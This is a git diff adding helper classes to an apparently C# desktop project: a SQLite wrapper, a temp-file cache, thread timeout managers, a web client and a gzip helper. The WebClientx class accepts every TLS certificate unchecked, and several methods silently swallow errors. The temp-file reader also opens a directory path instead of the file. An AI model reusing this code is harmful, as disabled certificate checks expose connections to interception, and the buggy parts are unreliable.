20px;cursor:pointer;background-color:transparent;outline:none;font-size:12px;}.el-color-dropdown__btn[disabled]{color:#cccccc;cursor:not-allowed;}.el-color-dropdown__btn:hover{color:#387ef5;border-color:#387ef5;}.el-color-dropdown__link-btn{cursor:pointer;color:#387ef5;text-decoration:none;padding:15px;font-size:12px;}.el-color-dropdown__link-btn:hover{color:tint(#387ef5,20%);}.el-color-picker{display:inline-block;position:relative;line-height:normal;height:40px;}.el-color-picker.is-disabled .el-color-picker__trigger{cursor:not-allowed;}.el-color-picker--medium{height:36px;}.el-color-picker--medium .el-color-picker__trigger{height:36px;width:36px;}.el-color-picker--medium .el-color-picker__mask{height:34px;width:34px;}.el-color-picker--small{height:32px;}.el-color-picker--small .el-color-picker__trigger{height:32px;width:32px;}.el-color-picker--small .el-color-picker__mask{height:30px;width:30px;}.el-color-picker--small .el-color-picker__icon,.el-color-picker--small .el-color-picker__empty{-webkit-transform:translate3d(-50%,-50%,0) scale(0.8);transform:translate3d(-50%,-50%,0) scale(0.8);}.el-color-picker--mini{height:28px;}.el-color-picker--mini .el-color-picker__trigger{height:28px;width:28px;}.el-color-picker--mini .el-color-picker__mask{height:26px;width:26px;}.el-color-picker--mini .el-color-picker__icon,.el-color-picker--mini .el-color-picker__empty{-webkit-transform:translate3d(-50%,-50%,0) scale(0.8);transform:translate3d(-50%,-50%,0) scale(0.8);}.el-color-picker__mask{height:38px;width:38px;border-radius:4px;position:absolute;top:1px;left:1px;z-index:1;cursor:not-allowed;background-color:rgba(255,255,255,0.7);}.el-color-picker__trigger{display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;height:40px;width:40px;padding:4px;border:1px solid #e6e6e6;border-radius:4px;font-size:0;position:relative;cursor:pointer;}.el-color-picker__color{position:relative;display:block;-webkit-box-sizing:border-box;box-sizing:border-box;border:1px solid #999;border-radius:2px;width:100%;height:100%;text-align:center;}.el-color-picker__color.is-alpha{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==);}.el-color-picker__color-inner{position:absolute;left:0;top:0;right:0;bottom:0;}.el-color-picker__empty{font-size:12px;color:#999;position:absolute;top:50%;left:50%;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0);}.el-color-picker__icon{display:inline-block;position:absolute;width:100%;top:50%;left:50%;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0);color:#fff;text-align:center;font-size:12px;}.el-color-picker__panel{position:absolute;z-index:10;padding:6px;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:#fff;border:1px solid #ebeef5;border-radius:4px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);}.el-transfer{font-size:14px;}.el-transfer__buttons{display:inline-block;vertical-align:middle;padding:0 30px;}.el-transfer__button{display:block;margin:0 auto;padding:10px;border-radius:50%;color:#fff;background-color:#387ef5;font-size:0;}.el-transfer__button.is-with-texts{border-radius:4px;}.el-transfer__button.is-disabled{border:1px solid #dcdfe6;background-color:#f5f7fa;color:#c0c4cc;}.el-transfer__button.is-disabled:hover{border:1px solid #dcdfe6;background-color:#f5f7fa;color:#c0c4cc;}.el-transfer__button:first-child{margin-bottom:10px;}.el-transfer__button:nth-child(2){margin:0;}.el-transfer__button i,.el-transfer__button span{font-size:14px;}.el-transfer__button [class*=\"el-icon-\"] + span{margin-left:0;}.el-transfer-panel{border:1px solid #ebeef5;border-radius:4px;overflow:hidden;background:#fff;display:inline-block;vertical-align:middle;width:200px;max-height:100%;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;}.el-transfer-panel__body{height:246px;}.el-transfer-panel__body.is-with-footer{padding-bottom:40px;}.el-transfer-panel__list{margin:0;padding:6px 0;list-style:none;height:246px;overflow:auto;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-transfer-panel__list.is-filterable{height:194px;padding-top:0;}.el-transfer-panel__item{height:30px;line-height:30px;padding-left:15px;display:block;}.el-transfer-panel__item + .el-transfer-panel__item{margin-left:0;}.el-transfer-panel__item.el-checkbox{color:#606266;}.el-transfer-panel__item:hover{color:#387ef5;}.el-transfer-panel__item.el-checkbox .el-checkbox__label{width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;display:block;-webkit-box-sizing:border-box;box-sizing:border-box;padding-left:24px;line-height:30px;}.el-transfer-panel__item .el-checkbox__input{position:absolute;top:8px;}.el-transfer-panel__filter{text-align:center;margin:15px;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;width:auto;}.el-transfer-panel__filter .el-input__inner{height:32px;width:100%;font-size:12px;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:16px;padding-right:10px;padding-left:30px;}.el-transfer-panel__filter .el-input__icon{margin-left:5px;}.el-transfer-panel__filter .el-icon-circle-close{cursor:pointer;}.el-transfer-panel .el-transfer-panel__header{height:40px;line-height:40px;background:#f5f7fa;margin:0;padding-left:15px;border-bottom:1px solid #ebeef5;-webkit-box-sizing:border-box;box-sizing:border-box;color:#000;}.el-transfer-panel .el-transfer-panel__header .el-checkbox{display:block;line-height:40px;}.el-transfer-panel .el-transfer-panel__header .el-checkbox .el-checkbox__label{font-size:16px;color:#303133;font-weight:normal;}.el-transfer-panel .el-transfer-panel__header .el-checkbox .el-checkbox__label span{position:absolute;right:15px;color:#909399;font-size:12px;font-weight:normal;}.el-transfer-panel .el-transfer-panel__footer{height:40px;background:#fff;margin:0;padding:0;border-top:1px solid #ebeef5;position:absolute;bottom:0;left:0;width:100%;z-index:1;}.el-transfer-panel .el-transfer-panel__footer::after{display:inline-block;height:100%;vertical-align:middle;}.el-transfer-panel .el-transfer-panel__footer .el-checkbox{padding-left:20px;color:#606266;}.el-transfer-panel .el-transfer-panel__empty{margin:0;height:30px;line-height:30px;padding:6px 15px 0;color:#909399;text-align:center;}.el-transfer-panel .el-checkbox__label{padding-left:8px;}.el-transfer-panel .el-checkbox__inner{height:14px;width:14px;border-radius:3px;}.el-transfer-panel .el-checkbox__inner::after{height:6px;width:3px;left:4px;}.el-container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:1;-ms-flex:1;flex:1;-ms-flex-preferred-size:auto;flex-basis:auto;-webkit-box-sizing:border-box;box-sizing:border-box;min-width:0;}.el-container.is-vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;}.el-header{padding:0 20px;-webkit-box-sizing:border-box;box-sizing:border-box;-ms-flex-negative:0;flex-shrink:0;}.el-aside{overflow:auto;-webkit-box-sizing:border-box;box-sizing:border-box;-ms-flex-negative:0;flex-shrink:0;}.el-main{display:block;-webkit-box-flex:1;-ms-flex:1;flex:1;-ms-flex-preferred-size:auto;flex-basis:auto;overflow:auto;-webkit-box-sizing:border-box;box-sizing:border-box;padding:20px;}.el-footer{padding:0 20px;-webkit-box-sizing:border-box;box-sizing:border-box;-ms-flex-negative:0;flex-shrink:0;}.el-message{display:-webkit-box;display:-ms-flexbox;display:flex;}.el-message .el-message__content{word-break:break-all;-webkit-box-flex:1;-ms-flex:1;flex:1;}.right-panel .right-panel-box .order-items .order-item .order-goods-box .order-line .line-label[data-v-81b69950]{float:left;height:18px;line-height:18px}.right-panel .right-panel-box .order-items .order-item .order-goods-box .order-line .line-value[data-v-81b69950]{float:right;height:18px;line-height:18px;text-align:right}.right-panel .right-panel-box .order-items .order-item .order-goods-box .order-line .line-value .line-value-right-input[data-v-81b69950]{text-align:right}.right-panel .right-panel-box .order-items .order-item .order-goods-box .order-line .amount-label[data-v-81b69950]{font-size:14px}.right-panel .right-panel-box .order-items .order-item .order-goods-box .order-line .amount-value[data-v-81b69950]{font-size:14px;color:#ff5454}.right-panel .right-panel-box .order-items .order-item .order-goods-box .edit-price-explain[data-v-81b69950]{color:#999;line-height:18px}.right-panel .right-panel-box .order-items .order-item .order-goods-box .edit-price[data-v-81b69950]{-webkit-box-flex:1;-ms-flex:1;flex:1;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.right-panel .right-panel-box .order-items .order-item .order-goods-box .edit-price>input[data-v-81b69950]{height:18px;line-height:16px;width:40px;margin-right:2px;border:1px solid #999}.right-panel .right-panel-box .order-items .order-item .order-shipping>input[data-v-81b69950]{display:inline-block;color:#999;height:20px;line-height:18px;width:40px;font-size:12px;border:1px solid #999;background-color:#f8f8f8;box-shadow:inset 1px 1px 0 0 gray}"; + } + + +} diff --git a/AllBase/SqliteHelper.cs b/AllBase/SqliteHelper.cs new file mode 100644 index 0000000..51db54f --- /dev/null +++ b/AllBase/SqliteHelper.cs @@ -0,0 +1,251 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Data; +using System.Data.SQLite; +using System.Configuration; +using System.IO; +using System.Data.Common; + +namespace AllBase +{ + public class SqliteHelper + { + //获取连接字符串 + + private static readonly string str = "data source =DB.dll"; //ConfigurationManager.ConnectionStrings["conStr"].ConnectionString; + + public static void CreateProductTable() + { + DBConfig.DBName = "DB.dll"; + DBConfig.CreateDbFile(); + DBConfig.CreateProductTable(); + } + + /// + /// 做增删改的功能 + /// + /// sql语句 + /// sql语句中的参数 + /// 受影响的行数 + public static int ExecuteNonQuery(string sql, params SQLiteParameter[] ps) + { + try + { + //连接数据库 + using (SQLiteConnection con = new SQLiteConnection(str)) + { + using (SQLiteCommand cmd = new SQLiteCommand(sql, con)) + { + con.Open();//打开数据库 + if (ps != null) + { + cmd.Parameters.AddRange(ps);//参数 + } + return cmd.ExecuteNonQuery(); + } + } + } + catch + { + } + return 0; + } + + public static int ExecuteNonQueryInsert(string sql, SQLiteCommand cmd) + { + try + { + cmd.CommandText = sql; + return cmd.ExecuteNonQuery(); + } + catch(Exception ex) + { + } + return 0; + } + + /// + /// 做增删改的功能 + /// + /// sql语句 + /// sql语句中的参数 + /// 受影响的行数 + public static int BatchExecuteNonQuery(List lst) + { + try + { + using (SQLiteConnection con = new SQLiteConnection(str)) + { + using (SQLiteCommand cmd = new SQLiteCommand()) + { + con.Open(); + cmd.Connection = con; + using (var transaction = con.BeginTransaction()) + { + for (int i = 0; i < lst.Count; i++) + { + ExecuteNonQueryInsert(lst[i],cmd); + } + transaction.Commit(); + } + con.Close(); + } + } + } + catch + { + + } + return 0; + } + /// + /// 去掉SQL中的特殊字符 + /// + /// 字符串 + /// + public static string ReplaceSqlx(string value) + { + if (string.IsNullOrEmpty(value)) + return null; + value = value.Replace("\\", "\\\\"); + value = value.Replace("'", "''"); + //value = value.Replace("\"", "\\\""); + return value; + } + + /// + /// 首行首列 + /// + /// sql语句 + /// sql语句中的参数 + /// 返回的是首行首列 + public static object ExecuteScalar(string sql, params SQLiteParameter[] ps) + { + using (SQLiteConnection con = new SQLiteConnection(str)) + { + using (SQLiteCommand cmd = new SQLiteCommand(sql, con)) + { + con.Open(); + if (ps != null) + { + cmd.Parameters.AddRange(ps); + } + return cmd.ExecuteScalar(); + } + } + } + /// + /// 查询的 + /// + /// sql语句 + /// sql语句中的参数 + /// 返回的是SqliteDataReader + public static SQLiteDataReader ExecuteReader(string sql, params SQLiteParameter[] ps) + { + SQLiteConnection con = new SQLiteConnection(str); + using (SQLiteCommand cmd = new SQLiteCommand(sql, con)) + { + if (ps != null) + { + cmd.Parameters.AddRange(ps); + } + try + { + con.Open(); + return cmd.ExecuteReader(System.Data.CommandBehavior.CloseConnection); + } + catch (Exception ex) + { + con.Close(); + con.Dispose(); + throw ex; + } + } + } + /// + /// 查询数据 + /// + /// sql语句 + /// sql语句中的参数 + /// 返回表 + public static DataTable ExecuteTable(string sql, params SQLiteParameter[] ps) + { + try + { + DataTable dt = new DataTable(); + using (SQLiteDataAdapter sda=new SQLiteDataAdapter(sql,str)) + { + if (ps!=null) + { + sda.SelectCommand.Parameters.AddRange(ps); + } + sda.Fill(dt); + return dt; + } + } + catch + { + } + return new DataTable(); + } + } + + public class DBConfig + { + public static string DBName = "DB.dll"; //数据库的名字 + + public static string DataSource + { + get + { + string databaseFile = GetDatabaseFile(); + return string.Format("data source={0}", databaseFile); + } + } + public static void CreateDirectory(string dir) + { + if (!Directory.Exists(dir)) + { + Directory.CreateDirectory(dir); + } + } + + public static bool CreateDbFile() + { + string databaseFile = GetDatabaseFile(); + try + { + CreateDirectory(Path.GetDirectoryName(databaseFile)); + if (!File.Exists(databaseFile)) + { + SQLiteConnection.CreateFile(databaseFile); + } + return true; + } + catch (Exception ex) + { + throw new Exception("新建数据库文件" + databaseFile + "失败:" + ex.Message); + } + } + + private static string GetDatabaseFile() + { + string databaseFile = Path.Combine(AppDomain.CurrentDomain.BaseDirectory,DBName); + return databaseFile; + } + + public static void CreateProductTable() + { + string sql = "CREATE TABLE if not exists Product (content STRING, fromid STRING PRIMARY KEY);"; + try + { + SqliteHelper.ExecuteNonQuery(sql); + } + catch + { + } + } + } +} diff --git a/AllBase/TempFileReadWrite.cs b/AllBase/TempFileReadWrite.cs new file mode 100644 index 0000000..283c78d --- /dev/null +++ b/AllBase/TempFileReadWrite.cs @@ -0,0 +1,73 @@ +/* + * 临时文件自动存储管理 + * 肖俊 + * 2017-7-11 + * + */ +using System; +using System.Text; +using System.Windows.Forms; + +namespace AllBase +{ + public class TempFileReadWritex + { + private static string MainPath = Application.StartupPath + "\\temp\\"; + /// + /// 写入临时文件 + /// + /// ID + /// 类型:content / desc + /// 内容 + public static void Write(long id, string type, string content) + { + string path = MainPath + type + "\\" + (id % 1024) + "\\"; + FileBase.DirectoryCreate(path); + string file = path + id + ".tjm"; + FileBase.WriteAllText(file, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss\r\n")); + FileBase.AppendAllText(file, content, Encoding.UTF8); + } + + /// + /// 读取临时文件 + /// + /// ID + /// 类型:content / desc + /// 读取成功 + /// + public static string Read(long id, string type, out bool hadFile) + { + return Read(id, type, out hadFile, BaseClass.TempSecond); + } + + /// + /// 读取临时文件 + /// + /// ID + /// 类型:content / desc + /// 读取成功 + /// 过期时间,秒 + /// + public static string Read(long id, string type, out bool hadFile, int useTime) + { + hadFile = false; + string path = MainPath + type + "\\" + (id % 1024) + "\\"; + if (!FileBase.Exists(path)) + return null; + string conent = FileBase.ReadAllText(path); + if (conent.Length < 21) + return null; + string date = conent.Substring(0, 19); + DateTime saveTime; + if (!DateTime.TryParse(date, out saveTime)) + return null; + double second = (DateTime.Now - saveTime).TotalSeconds; + if (second < useTime) + { + hadFile = true; + return conent.Substring(21); + } + return null; + } + } +} diff --git a/AllBase/Threadx.cs b/AllBase/Threadx.cs new file mode 100644 index 0000000..dfc525b --- /dev/null +++ b/AllBase/Threadx.cs @@ -0,0 +1,243 @@ +/* + * 带超时的线程管理 + * 肖俊 + * 2014-8-21 + */ + +using System; +using System.Collections.Generic; +using System.Threading; + +namespace AllBase +{ + /// + /// 带超时的线程管理 + /// + public class Threadx + { + /// + /// 超时:秒 + /// + public int TimeOut = 30; + /// + /// 主线程 + /// + private Thread t=null; + /// + /// 判断是否结束线程 + /// + private Thread te = null; + /// + /// 启动时间 + /// + public DateTime StartTime; + /// + /// 是否存活 + /// + public bool IsActive { get { + try + { + return (t == null ? false : t.IsAlive); + } + catch + { + return false; + } + } } + /// + /// 线程名称 + /// + public string Name = ""; + /// + /// 初始化 + /// + /// 要启动的线程 + public Threadx(Thread ts) + { + t = ts; + te = new Thread(End); + } + /// + /// 初始化 + /// + /// 要启动的线程 + /// 启动时间 + public Threadx(Thread ts, DateTime dt) + { + StartTime = dt; + t = ts; + Start(); + } + /// + /// 初始化+立即启动 + /// + /// 要启动的线程 + /// 超时 + public Threadx(Thread ts, int timeOut) + { + t = ts; + TimeOut = timeOut; + te = new Thread(End); + Start(); + } + /// + /// 初始化+立即启动 + /// + /// 要启动的线程 + /// 超时 + /// 名称 + public Threadx(Thread ts, int timeOut, string name) + { + Name = name; + t = ts; + TimeOut = timeOut; + te = new Thread(End); + Start(); + } + /// + /// 启动,以最低优先级运行 + /// + public void Start() + { + StartTime = DateTime.Now; + if(t==null || t.IsAlive) + return; + try + { + t.Priority = ThreadPriority.Lowest; + t.Start(); + if(te==null) + return; + te.Priority = ThreadPriority.BelowNormal; + te.Start(); + } + catch + { + Abort(); + } + } + + /// + /// 终止线程 + /// + public void Abort() + { + try + { + if (t != null && t.IsAlive) + t.Abort(); + if(te!=null && te.IsAlive) + te.Abort(); + t = null; + te = null; + } + catch + { + } + } + + /// + /// 判断超时与自动结束 + /// + private void End() + { + if(t==null) + return; + int i = 0; + while (t!=null && t.IsAlive && i < 10 * TimeOut) + { + Thread.Sleep(100); + i++; + } + if (t != null && t.IsAlive) + Abort(); + } + + /// + /// 线程队列批量启动与执行超时控制 + /// + /// 线程队列 + /// 超时(单位秒) + /// 启动等待(单位毫秒) + public static void ThreadListTimeOut(ref List ts, int timeOut, int sleep) + { + if (timeOut < 1) + return; + try + { + int i; + for (i = 0; i < ts.Count; i++) + { + if(!ts[i].IsAlive) + ts[i].Start(); + if (sleep > 0 && i < ts.Count - 1) + Thread.Sleep(sleep); + } + i = 0; + while (ts.Count > 0 && i < 1000) + { + if (ts[0] == null || !ts[0].IsAlive) + ts.RemoveAt(0); + Thread.Sleep(timeOut); + i++; + } + while (ts.Count > 0) + { + try + { + if (ts[0] != null && ts[0].IsAlive) + ts[0].Abort(); + } + catch + { + } + ts.RemoveAt(0); + } + } + catch + { + } + } + + /// + /// 等待队列 + /// + /// 线程队列 + /// 新增线程 + /// 线程总数 + public static void ThreadListWait(ref List ts, Thread t, int count, object obj = null) + { + t.IsBackground = true; + if (obj != null) t.Start(obj); + else t.Start(); + ts.Add(t); + if (ts.Count < count) + return; + while (ts.Count >= count) + { + for (int i = 0; i < ts.Count; i++) + { + if (ts[i] == null || !ts[i].IsAlive) + { + ts.RemoveAt(i); + i--; + } + } + Thread.Sleep(10); + } + } + /// + /// 等待队列完全结束 + /// + /// 线程队列 + public static void ThreadListWait(ref List ts) + { + while (ts.Count > 0) + { + if (ts[0] == null || !ts[0].IsAlive) + ts.RemoveAt(0); + Thread.Sleep(10); + } + } + } +} diff --git a/AllBase/TreadTime.cs b/AllBase/TreadTime.cs new file mode 100644 index 0000000..74d7831 --- /dev/null +++ b/AllBase/TreadTime.cs @@ -0,0 +1,49 @@ + +using System; +using System.Threading; + +namespace AllBase +{ + public class ThreadTime + { + public Thread t; + public DateTime StartTime; + public bool IsAlive + { + get + { + try + { + return (t == null ? false : t.IsAlive); + } + catch + { + return false; + } + } + } + + public ThreadTime(Thread _t) + { + t = _t; + } + public void Start() + { + t.Priority = ThreadPriority.BelowNormal; + t.Start(); + StartTime = DateTime.Now; + } + public void Abort() + { + try + { + if(t.IsAlive) + t.Abort(); + } + catch + { + } + } + + } +} diff --git a/AllBase/WebClientx.cs b/AllBase/WebClientx.cs new file mode 100644 index 0000000..c575231 --- /dev/null +++ b/AllBase/WebClientx.cs @@ -0,0 +1,142 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Cache; +using System.Net.Security; +using System.Security.Cryptography.X509Certificates; + +namespace AllBase +{ + /// + /// 下载器 + /// + public class WebClientx : WebClient + { + /// + /// 默认超时多少秒 + /// + public int Timeout = 100; + /// + /// 允许自动重定向 + /// + public bool AllowAutoRedirect = true; + public bool IsDelete = false; + + private string OutIP = ""; + /// + /// 证书列表 + /// + public static List X509List = new List(); + /// + /// 绑定IP + /// + /// + public WebClientx(string outIp) + { + OutIP = outIp; + CachePolicy = new RequestCachePolicy(RequestCacheLevel.NoCacheNoStore); + } + + public WebClientx() + { + } + /// + /// 重写 + /// + /// + /// + protected override WebRequest GetWebRequest(Uri address) + { + string s = address.ToString(); + if (string.IsNullOrEmpty(s) || s.Length < 7 || !(s.Substring(0, 7).ToLower() == "http://" || s.Substring(0, 8).ToLower() == "https://")) + return null; + var request = (HttpWebRequest)base.GetWebRequest(address); + request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip; + request.Timeout = 1000 * Timeout; + request.ReadWriteTimeout = 500 * Timeout; + request.AllowAutoRedirect = AllowAutoRedirect; + ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(ValidateServerCertificate); + if (IsDelete) + request.Method = "DELETE"; + if (!string.IsNullOrEmpty(OutIP)) + { + request.ServicePoint.BindIPEndPointDelegate = (servicePoint, remoteEndPoint, retryCount) => + { + servicePoint.MaxIdleTime = 20; + return new IPEndPoint(IPAddress.Parse(OutIP), 0); + }; + } + if (request.RequestUri.Scheme == "https") //挂接验证服务端证书的回调 + { + X509Certificate2 x509c = null; + for (int i = 0; i < X509List.Count; i++) + { + if (X509List[i].Domain.ToLower() == address.Host.ToLower()) + { + x509c = X509List[i].X509; + break; + } + } + if (x509c == null) + { + ServicePointManager.ServerCertificateValidationCallback = + new RemoteCertificateValidationCallback(RemoteCertificateValidationCallback); + try { + X509Store _store = new X509Store(StoreName.My, StoreLocation.LocalMachine); + _store.Open(OpenFlags.ReadWrite); + string findValue = Dns.GetHostName(); //获取本地主机名称作为证书查找的参数 + X509Certificate2Collection _certsCollection = + _store.Certificates.Find(X509FindType.FindByIssuerName, findValue, false); + if (_certsCollection.Count > 0) + { + x509c = _certsCollection[0]; + request.ClientCertificates.Add(x509c); + } + } + catch { } + + } + } + return request; + } + /// + /// 获取证书 + /// + /// + /// + /// + /// + /// + public bool RemoteCertificateValidationCallback(Object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { + return true; + } + public static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { + //if (sslPolicyErrors == SslPolicyErrors.None) { + // return true; + //} + + //Console.WriteLine("Certificate error: {0}", sslPolicyErrors); + + //// Do not allow this client to communicate with unauthenticated servers. + //return false; + + return true; + } + } + /// + /// 网站证书 + /// + public class Certificate + { + /// + /// 域名 + /// + public string Domain { get; set; } + /// + /// 证书 + /// + public X509Certificate2 X509 { get; set; } + } +} diff --git a/AllBase/ZipHelper.cs b/AllBase/ZipHelper.cs new file mode 100644 index 0000000..d6e98c2 --- /dev/null +++ b/AllBase/ZipHelper.cs @@ -0,0 +1,61 @@ +using System.IO; +using System.IO.Compression; + +namespace AllBase +{ + public static class ZipHelper + { + /// + /// GZip压缩 + /// + /// + /// + public static byte[] Compress(byte[] rawData) + { + if (rawData == null || rawData.Length < 1000) + return rawData; + MemoryStream ms = new MemoryStream(); + GZipStream compressedzipStream = new GZipStream(ms, CompressionMode.Compress, true); + compressedzipStream.Write(rawData, 0, rawData.Length); + compressedzipStream.Close(); + return ms.ToArray(); + } + + /// + /// ZIP解压 + /// + /// + /// + public static byte[] Decompress(byte[] zippedData) + { + if (zippedData == null || zippedData.Length == 0) + return null; + if (zippedData.Length < 100) + return zippedData; + if (zippedData[2] != 0x8 || zippedData[3] != 0x0 || zippedData[4] != 0x0 + || zippedData[5] != 0x0 || zippedData[6] != 0x0 || zippedData[7] != 0x0 + || zippedData[0] != 31 || zippedData[1] != 139)//软加速判断头尾是否正确 + return zippedData; + try + { + MemoryStream ms = new MemoryStream(zippedData); + GZipStream compressedzipStream = new GZipStream(ms, CompressionMode.Decompress); + MemoryStream outBuffer = new MemoryStream(); + byte[] block = new byte[1024]; + while (true) + { + int bytesRead = compressedzipStream.Read(block, 0, block.Length); + if (bytesRead < 1) + break; + outBuffer.Write(block, 0, bytesRead); + } + compressedzipStream.Close(); + return outBuffer.ToArray(); + } + catch + { + } + return zippedData; + } + } +} diff --git a/AllBase/packages.config b/AllBase/packages.config new file mode 100644 index 0000000..37a66b4 --- /dev/null +++ b/AllBase/packages.config @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/DllReference/DevComponents.DotNetBar2.dll b/DllReference/DevComponents.DotNetBar2.dll new file mode 100644 index 0000000..57d38f5 Binary files /dev/null and b/DllReference/DevComponents.DotNetBar2.dll differ diff --git a/DllReference/Interop.MSScriptControl.dll b/DllReference/Interop.MSScriptControl.dll new file mode 100644 index 0000000..4636836 Binary files /dev/null and b/DllReference/Interop.MSScriptControl.dll differ diff --git a/DllReference/MySql.Data.dll b/DllReference/MySql.Data.dll new file mode 100644 index 0000000..3b5cadd Binary files /dev/null and b/DllReference/MySql.Data.dll differ diff --git a/DllReference/NLog.dll b/DllReference/NLog.dll new file mode 100644 index 0000000..599dbdf Binary files /dev/null and b/DllReference/NLog.dll differ diff --git a/DllReference/NaiBa.CefHelper.67.dll b/DllReference/NaiBa.CefHelper.67.dll new file mode 100644 index 0000000..e440fa2 Binary files /dev/null and b/DllReference/NaiBa.CefHelper.67.dll differ diff --git a/DllReference/NaiBa.CefHelper.79.dll b/DllReference/NaiBa.CefHelper.79.dll new file mode 100644 index 0000000..8fe724d Binary files /dev/null and b/DllReference/NaiBa.CefHelper.79.dll differ diff --git a/DllReference/NaiBa.CefHelper.92.dll b/DllReference/NaiBa.CefHelper.92.dll new file mode 100644 index 0000000..9bc3dc7 Binary files /dev/null and b/DllReference/NaiBa.CefHelper.92.dll differ diff --git a/DllReference/NaiBa.CefHelper.dll b/DllReference/NaiBa.CefHelper.dll new file mode 100644 index 0000000..8fe724d Binary files /dev/null and b/DllReference/NaiBa.CefHelper.dll differ diff --git a/DllReference/NaiBa.Sqlite.dll b/DllReference/NaiBa.Sqlite.dll new file mode 100644 index 0000000..24fc1d7 Binary files /dev/null and b/DllReference/NaiBa.Sqlite.dll differ diff --git a/DllReference/NaiBa.Util.Winform.dll b/DllReference/NaiBa.Util.Winform.dll new file mode 100644 index 0000000..9cd29ff Binary files /dev/null and b/DllReference/NaiBa.Util.Winform.dll differ diff --git a/DllReference/NaiBa.Util.Zip.dll b/DllReference/NaiBa.Util.Zip.dll new file mode 100644 index 0000000..5f5fbac Binary files /dev/null and b/DllReference/NaiBa.Util.Zip.dll differ diff --git a/DllReference/NaiBa.Util.dll b/DllReference/NaiBa.Util.dll new file mode 100644 index 0000000..f6ae5ff Binary files /dev/null and b/DllReference/NaiBa.Util.dll differ diff --git a/DllReference/System.Data.SQLite.DLL b/DllReference/System.Data.SQLite.DLL new file mode 100644 index 0000000..eac60d1 Binary files /dev/null and b/DllReference/System.Data.SQLite.DLL differ diff --git a/DllReference/jos-sdk-net.dll b/DllReference/jos-sdk-net.dll new file mode 100644 index 0000000..f72b998 Binary files /dev/null and b/DllReference/jos-sdk-net.dll differ diff --git a/DllReference/log4net.dll b/DllReference/log4net.dll new file mode 100644 index 0000000..93fb476 Binary files /dev/null and b/DllReference/log4net.dll differ diff --git a/DllReference/websocket-sharp.dll b/DllReference/websocket-sharp.dll new file mode 100644 index 0000000..514f867 Binary files /dev/null and b/DllReference/websocket-sharp.dll differ diff --git a/DllReference/zxing.dll b/DllReference/zxing.dll new file mode 100644 index 0000000..6331cd2 Binary files /dev/null and b/DllReference/zxing.dll differ diff --git a/TEMUKJD.sln b/TEMUKJD.sln new file mode 100644 index 0000000..aa5bd58 --- /dev/null +++ b/TEMUKJD.sln @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30225.117 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KJD", "TEMUKJD\KJD.csproj", "{7A28B19F-BD0C-45DF-AC1A-78064631745A}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AllBase", "AllBase\AllBase.csproj", "{6461D807-B1C8-45F0-B388-E0CA1A418DE0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Work", "Work\Work.csproj", "{38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Debug|Any CPU.ActiveCfg = Debug|x86 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Debug|Any CPU.Build.0 = Debug|x86 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Debug|x64.ActiveCfg = Debug|Any CPU + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Debug|x64.Build.0 = Debug|Any CPU + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Debug|x86.ActiveCfg = Debug|x86 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Debug|x86.Build.0 = Debug|x86 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Release|Any CPU.ActiveCfg = Release|x86 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Release|Any CPU.Build.0 = Release|x86 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Release|x64.ActiveCfg = Release|x64 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Release|x64.Build.0 = Release|x64 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Release|x86.ActiveCfg = Release|x86 + {7A28B19F-BD0C-45DF-AC1A-78064631745A}.Release|x86.Build.0 = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|Any CPU.ActiveCfg = Debug|x86 + 